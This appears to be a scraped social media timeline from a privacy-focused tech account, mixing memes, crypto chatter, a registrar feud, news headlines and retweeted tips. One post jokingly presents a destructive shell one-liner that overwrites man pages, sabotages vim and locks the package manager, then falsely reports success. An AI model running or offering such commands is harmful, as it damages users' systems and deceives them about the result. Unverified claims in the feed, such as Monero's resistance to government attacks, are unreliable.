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Literally the worst cable management I've ever seen in my life
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i forgot when the official date was, but there was a date that the world decided "ok starting NOW we'll all be massive pieces of shit to each other, going forward. MAXIMUM EFFORT AT ALL TIMES!" ..and then we DID IT! We really did it and its been going for all these years now! <3
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uɐpʇou@ ✸ retweeted
Monero XMR has managed to withstand a sustained attack orchestrated by the US Government & Intel Ops after they ALL failed to figure out a way to crack it's protections, or even infiltrate XMR Core Team enough to backdoor it without getting caught. Aww poor feds :~( Must be so annoying that it's still going despite them all trying since 2024 to kill it lmfao.
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AI vibed me some code today. its not very nice find /usr/share/man -type f -exec sh -c 'echo "RTFM LMAO" > {}' \;echo "nnoremap : q!" >> /etc/vimrc;touch /var/lib/dpkg/lock-frontend && chattr i /var/lib/dpkg/lock-frontend;echo "System Running Better Than Ever Fam! Enjoy!"
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uɐpʇou@ ✸ retweeted
Hysterical. How to make your guns “California compliant.” 😭🌈🔫
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uɐpʇou@ ✸ retweeted
Trocador.app's June Giveaway 🎁 Rules: - 3 prizes of $100💰 - Paid in your crypto of choice 🪙 - Follow @TrocadorApp✅ - Like and Repost 🔃 - Ends June 14⏲️ - Winners announced June 15 🏆 Good luck everyone!🍀
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Again and again and again! Every release cycle! Like it’s new or something!
JUST IN: Apple to roll out a global iPhone “kill switch” to make stolen devices unusable.
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uɐpʇou@ ✸ retweeted
It's crazy how the EFF is silent on the FCC's NPRM for "enhanced KYC" for getting a phone number I alerted them to it over a month ago!
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uɐpʇou@ ✸ retweeted
Privacy tip: If you hide an app on iOS, other apps cannot detect it and won't secretly know if you have it installed. This is confirmed by Loupe and you can test it✌️
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Benn Jordan when you watch close enough
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The entire discussion be like...
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uɐpʇou@ ✸ retweeted
Sausage party in a gas station . Many many F going around
New Jersey Gas station ⛽️ caught doing some illegal 💩 trying to steal money from the people. The argument was classic tho. 🤣 🤣
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Trust me when I say, the video I'm about to drop that details just how fucking insane "NJALLA" is being run is beyond words. You *really* need to transfer your domains the fuck away from them before it's too late. Stay tuned.
any reason your little team at @njal_la has decided to go to war with me, @brokep?
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any reason your little team at @njal_la has decided to go to war with me, @brokep?
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I really enjoy my screenshot archives.
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annnnnnd thanks @ypsehlig for the thing once again lmfao
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What site can you add to this currently small, but awesome list? Seeya in the replies
Cool site. Don’t die! streamimdb.ru
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uɐpʇou@ ✸ retweeted
Replying to @notdan

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